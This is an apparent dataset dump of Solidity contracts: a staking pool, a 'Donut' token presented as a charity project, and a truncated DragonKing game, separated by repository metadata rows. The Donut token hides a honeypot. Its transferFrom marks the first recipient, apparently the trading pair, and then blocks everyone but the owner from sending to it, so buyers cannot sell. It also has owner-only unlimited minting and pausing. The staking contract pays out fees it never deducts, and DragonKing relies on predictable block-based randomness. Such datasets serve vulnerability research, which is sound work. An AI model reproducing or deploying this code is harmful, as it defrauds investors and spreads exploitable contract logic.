assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
// Dependency file: contracts/StakePool.sol
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
address public feeTo;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token, address _feeTo) public initializer {
depositToken = IERC20(_token);
feeTo = address(_feeTo);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
if (msg.sender != address(feeTo)) {
uint256 feeamount = amount.div(20);
uint256 finalamount = (amount);
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, finalamount);
depositToken.safeTransfer(feeTo, feeamount);
} else {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
function _withdrawFeeOnly(uint256 amount) internal {
uint256 feeamount = 0;
_totalSupply = _totalSupply.sub(feeamount);
_balances[msg.sender] = _balances[msg.sender].sub(feeamount);
depositToken.safeTransfer(feeTo, feeamount);
}
// Update feeTo address by the previous feeTo.
function feeToUpdate(address _feeTo) public {
require(msg.sender == feeTo, "feeTo: wut?");
feeTo = _feeTo;
}
}
// Dependency file: @openzeppelin/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract PotBnbStaking is StakePool {
IERC20 public rewardToken;
uint256 public halvingPeriod = 31536000;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _rewardToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken, msg.sender);
rewardToken = IERC20(_rewardToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Token");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart stakingTime{
require(amount > 0, "ERROR: Cannot withdraw 0");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
_getRewardInternal();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
uint256 bal = balanceOf(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
if (bal > 0) {
super._withdrawFeeOnly(bal);
}
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
function _getRewardInternal() internal updateReward(msg.sender) checkhalve checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals not allowed yet");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 255,154 | 1,785 |
82d57b3ca397beb2a4b65b2e0549a00d2de3abcc7de84910fb9893b5711d43a5
| 22,903 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5a9A2a77FA02a24254B1125483e70853904c543B/contract.sol
| 3,116 | 11,816 |
pragma solidity ^0.6.12;
//
// CHARITY PROJECT BSC, Join our Telegram: https://t.me/STAATOKEN
//
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Donut is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 1500000 * 10**9;
string private _symbol = "Donut";
string private _name = "Donut";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 254,544 | 1,786 |
6d4cb4a85a929c809241e86810b79b66a4cd655efb3d29a4ba55597c72f1c82b
| 22,102 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x24afa69210c46d703c693d0ab4295df080bd1c9b.sol
| 4,193 | 14,188 |
pragma solidity ^ 0.4.17;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract mortal is Ownable{
function mortal() public {
}
function kill() internal {
selfdestruct(owner);
}
}
contract Token {
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
}
contract DragonKing is mortal {
struct Character {
uint8 characterType;
uint128 value;
address owner;
}
uint32[] public ids;
uint32 public nextId;
uint32 public oldest;
mapping(uint32 => Character) characters;
mapping(uint32 => bool) teleported;
uint128[] public costs;
uint128[] public values;
uint8 fee;
uint8 constant public numDragonTypes = 6;
uint16 public numCharacters;
uint16 public maxCharacters;
mapping(uint8 => uint16) public numCharactersXType;
uint8 public eruptionThreshold;
uint256 public lastEruptionTimestamp;
uint8 public percentageToKill;
mapping(uint32 => uint) public cooldown;
uint256 public constant CooldownThreshold = 1 days;
Token teleportToken;
uint public teleportPrice;
Token neverdieToken;
uint public protectionPrice;
mapping(uint32 => uint8) public protection;
// MODIFIER
event NewPurchase(address player, uint8 characterType, uint8 amount, uint32 startId);
event NewExit(address player, uint256 totalBalance, uint32[] removedCharacters);
event NewEruption(uint32[] hitCharacters, uint128 value, uint128 gasCost);
event NewSell(uint32 characterId, address player, uint256 value);
event NewFight(uint32 winnerID, uint32 loserID, uint256 value);
event NewTeleport(uint32 characterId);
event NewProtection(uint32 characterId, uint8 lifes);
function DragonKing(address teleportTokenAddress, address neverdieTokenAddress, uint8 eruptionThresholdInHours, uint8 percentageOfCharactersToKill, uint8 characterFee, uint16[] charactersCosts) public onlyOwner {
fee = characterFee;
for (uint8 i = 0; i < charactersCosts.length * 2; i++) {
costs.push(uint128(charactersCosts[i % numDragonTypes]) * 1 finney);
values.push(costs[i] - costs[i] / 100 * fee);
}
eruptionThreshold = eruptionThresholdInHours * 60 * 60; // convert to seconds
percentageToKill = percentageOfCharactersToKill;
maxCharacters = 600;
nextId = 1;
teleportToken = Token(teleportTokenAddress);
teleportPrice = 1;
neverdieToken = Token(neverdieTokenAddress);
protectionPrice = 1;
}
function addCharacters(uint8 characterType) payable public {
uint8 amount = uint8(msg.value / costs[characterType]);
uint16 nchars = numCharacters;
if (characterType >= costs.length || msg.value < costs[characterType] || nchars + amount > maxCharacters) revert();
bool isDragon = characterType < numDragonTypes;
uint32 nid = nextId;
if (isDragon) {
//dragons enter the game directly
for (uint8 i = 0; i < amount; i++) {
addCharacter(nid + i, nchars + i);
characters[nid + i] = Character(characterType, values[characterType], msg.sender);
}
numCharactersXType[characterType] += amount;
numCharacters += amount;
}
else {
for (uint8 j = 0; j < amount; j++) {
characters[nid + j] = Character(characterType, values[characterType], msg.sender);
}
}
nextId = nid + amount;
NewPurchase(msg.sender, characterType, amount, nid);
}
function addCharacter(uint32 nId, uint16 nchars) internal {
if (nchars < ids.length)
ids[nchars] = nId;
else
ids.push(nId);
}
function exit() public {
uint32[] memory removed = new uint32[](50);
uint8 count;
uint32 lastId;
uint playerBalance;
uint16 nchars = numCharacters;
for (uint16 i = 0; i < nchars; i++) {
if (characters[ids[i]].owner == msg.sender) {
//first delete all characters at the end of the array
while (nchars > 0 && characters[ids[nchars - 1]].owner == msg.sender) {
nchars--;
lastId = ids[nchars];
numCharactersXType[characters[lastId].characterType]--;
playerBalance += characters[lastId].value;
removed[count] = lastId;
count++;
if (lastId == oldest) oldest = 0;
delete characters[lastId];
}
//if the last character does not belong to the player, replace the players character by this last one
if (nchars > i + 1) {
playerBalance += characters[ids[i]].value;
removed[count] = ids[i];
count++;
nchars--;
replaceCharacter(i, nchars);
}
}
}
numCharacters = nchars;
NewExit(msg.sender, playerBalance, removed); //fire the event to notify the client
msg.sender.transfer(playerBalance);
}
function replaceCharacter(uint16 index, uint16 nchars) internal {
uint32 characterId = ids[index];
numCharactersXType[characters[characterId].characterType]--;
if (characterId == oldest) oldest = 0;
delete characters[characterId];
ids[index] = ids[nchars];
delete ids[nchars];
}
function triggerVolcanoEruption() public {
require(now >= lastEruptionTimestamp + eruptionThreshold);
require(numCharacters>0);
lastEruptionTimestamp = now;
uint128 pot;
uint128 value;
uint16 random;
uint32 nextHitId;
uint16 nchars = numCharacters;
uint32 howmany = nchars * percentageToKill / 100;
uint128 neededGas = 80000 + 10000 * uint32(nchars);
if(howmany == 0) howmany = 1;//hit at least 1
uint32[] memory hitCharacters = new uint32[](howmany);
for (uint8 i = 0; i < howmany; i++) {
random = uint16(generateRandomNumber(lastEruptionTimestamp + i) % nchars);
nextHitId = ids[random];
hitCharacters[i] = nextHitId;
value = hitCharacter(random, nchars);
if (value > 0) {
nchars--;
}
pot += value;
}
uint128 gasCost = uint128(neededGas * tx.gasprice);
numCharacters = nchars;
if (pot > gasCost){
distribute(pot - gasCost); //distribute the pot minus the oraclize gas costs
NewEruption(hitCharacters, pot - gasCost, gasCost);
}
else
NewEruption(hitCharacters, 0, gasCost);
}
function fight(uint32 knightID, uint16 knightIndex) public {
if (knightID != ids[knightIndex])
knightID = getCharacterIndex(knightID);
Character storage knight = characters[knightID];
require(cooldown[knightID] + CooldownThreshold <= now);
require(knight.owner == msg.sender);
require(knight.characterType >= numDragonTypes);
uint16 dragonIndex = getRandomDragon(knightID);
assert(dragonIndex < maxCharacters);
uint32 dragonID = ids[dragonIndex];
Character storage dragon = characters[dragonID];
uint16 tieBreaker = uint16(now % 2);
uint128 value;
if (knight.characterType - numDragonTypes > dragon.characterType || (knight.characterType - numDragonTypes == dragon.characterType && tieBreaker == 0)) {
value = hitCharacter(dragonIndex, numCharacters);
if (value > 0) {
numCharacters--;
}
knight.value += value;
cooldown[knightID] = now;
if (oldest == 0) findOldest();
NewFight(knightID, dragonID, value);
}
else {
value = hitCharacter(knightIndex, numCharacters);
if (value > 0) {
numCharacters--;
}
dragon.value += value;
NewFight(dragonID, knightID, value);
}
}
function getRandomDragon(uint256 nonce) internal view returns(uint16) {
uint16 randomIndex = uint16(generateRandomNumber(nonce) % numCharacters);
//use 7, 11 or 13 as step size. scales for up to 1000 characters
uint16 stepSize = numCharacters % 7 == 0 ? (numCharacters % 11 == 0 ? 13 : 11) : 7;
uint16 i = randomIndex;
//will at some point return to the startingPoint if no character is suited
do {
if (characters[ids[i]].characterType < numDragonTypes && characters[ids[i]].owner != msg.sender) return i;
i = (i + stepSize) % numCharacters;
} while (i != randomIndex);
return maxCharacters + 1; //there is none
}
function generateRandomNumber(uint256 nonce) internal view returns(uint) {
return uint(keccak256(block.blockhash(block.number - 1), now, numCharacters, nonce));
}
function hitCharacter(uint16 index, uint16 nchars) internal returns(uint128 characterValue) {
uint32 id = ids[index];
if (protection[id] > 0) {
protection[id]--;
return 0;
}
characterValue = characters[ids[index]].value;
nchars--;
replaceCharacter(index, nchars);
}
function findOldest() public {
oldest = ids[0];
for (uint16 i = 1; i < numCharacters; i++) {
if (ids[i] < oldest && characters[ids[i]].characterType < numDragonTypes) //the oldest character has the lowest id -todo
oldest = ids[i];
}
}
function distribute(uint128 totalAmount) internal {
//pay 10% to the oldest dragon
if (oldest == 0)
findOldest();
characters[oldest].value += totalAmount / 10;
uint128 amount = totalAmount / 10 * 9;
//distribute the rest according to their type
uint128 valueSum;
uint128[] memory shares = new uint128[](values.length);
for (uint8 v = 0; v < values.length; v++) {
if (numCharactersXType[v] > 0) valueSum += values[v];
}
for (uint8 m = 0; m < values.length; m++) {
if (numCharactersXType[m] > 0)
shares[m] = amount * values[m] / valueSum / numCharactersXType[m];
}
for (uint16 i = 0; i < numCharacters; i++) {
characters[ids[i]].value += shares[characters[ids[i]].characterType];
}
}
function collectFees(uint128 amount) public onlyOwner {
uint collectedFees = getFees();
if (amount + 100 finney < collectedFees) {
owner.transfer(amount);
}
}
function stop() public onlyOwner {
for (uint16 i = 0; i < numCharacters; i++) {
if (!characters[ids[i]].owner.send(characters[ids[i]].value)) revert();
}
kill();
}
function sellCharacter(uint32 characterId) public {
require(msg.sender == characters[characterId].owner);
uint128 val = characters[characterId].value;
numCharacters--;
replaceCharacter(getCharacterIndex(characterId), numCharacters);
msg.sender.transfer(val);
NewSell(characterId, msg.sender, val);
}
function receiveApproval(address sender, uint256 value, address tokenContract, bytes callData) public {
if (msg.sender == address(teleportToken)) {
require(value >= teleportPrice);
assert(teleportToken.transferFrom(sender, this, teleportPrice));
teleportKnight(toUint32(callData));
}
else if (msg.sender == address(neverdieToken)) {
uint32 id = toUint32(callData);
// user can purchase extra lifes only right after character purchaes
// in other words, user value should be equal the initial value
require(characters[id].value == values[characters[id].characterType]);
// calc how many lifes user can actually buy
// the formula is the following:
uint256 lifePrice = ((characters[id].characterType % numDragonTypes) + 1) * protectionPrice;
uint256 price = 0;
uint8 i = protection[id];
require(i <= 3);
for (i; i < 3 && value >= price + lifePrice * (i + 1); i++) {
price += lifePrice * (i + 1);
}
assert(neverdieToken.transferFrom(sender, this, price));
protectCharacter(id, i);
}
else
revert();
}
function teleportKnight(uint32 id) internal {
// ensure we do not teleport twice
require(teleported[id] == false);
teleported[id] = true;
Character storage knight = characters[id];
assert(knight.characterType >= numDragonTypes); //this also makes calls with non-existent ids fail
addCharacter(id, numCharacters);
numCharacters++;
numCharactersXType[knight.characterType]++;
NewTeleport(id);
}
function protectCharacter(uint32 id, uint8 lifes) internal {
protection[id] = lifes;
NewProtection(id, lifes);
}
function getCharacter(uint32 characterId) constant public returns(uint8, uint128, address) {
return (characters[characterId].characterType, characters[characterId].value, characters[characterId].owner);
}
function getCharacterIndex(uint32 characterId) constant public returns(uint16) {
for (uint16 i = 0; i < ids.length; i++) {
if (ids[i] == characterId) {
return i;
}
}
revert();
}
function get10Characters(uint16 startIndex) constant public returns(uint32[10] characterIds, uint8[10] types, uint128[10] values, address[10] owners) {
uint32 endIndex = startIndex + 10 > numCharacters ? numCharacters : startIndex + 10;
uint8 j = 0;
uint32 id;
for (uint16 i = startIndex; i < endIndex; i++) {
id = ids[i];
characterIds[j] = id;
types[j] = characters[id].characterType;
values[j] = characters[id].value;
owners[j] = characters[id].owner;
j++;
}
}
function getNumDragons() constant public returns(uint16 numDragons) {
for (uint8 i = 0; i < numDragonTypes; i++)
numDragons += numCharactersXType[i];
}
function getNumKnights() constant public returns(uint16 numKnights) {
for (uint8 i = numDragonTypes; i < costs.length; i++)
numKnights += numCharactersXType[i];
}
function getFees() constant public returns(uint) {
uint reserved = 0;
for (uint16 j = 0; j < numCharacters; j++)
reserved += characters[ids[j]].value;
return address(this).balance - reserved;
}
function setPrices(uint16[] prices) public onlyOwner {
for (uint8 i = 0; i < prices.length * 2; i++) {
costs[i] = uint128(prices[i % numDragonTypes]) * 1 finney;
values[i] = costs[i] - costs[i] / 100 * fee;
}
}
function setFee(uint8 _fee) public onlyOwner {
fee = _fee;
}
function setMaxCharacters(uint16 number) public onlyOwner {
maxCharacters = number;
}
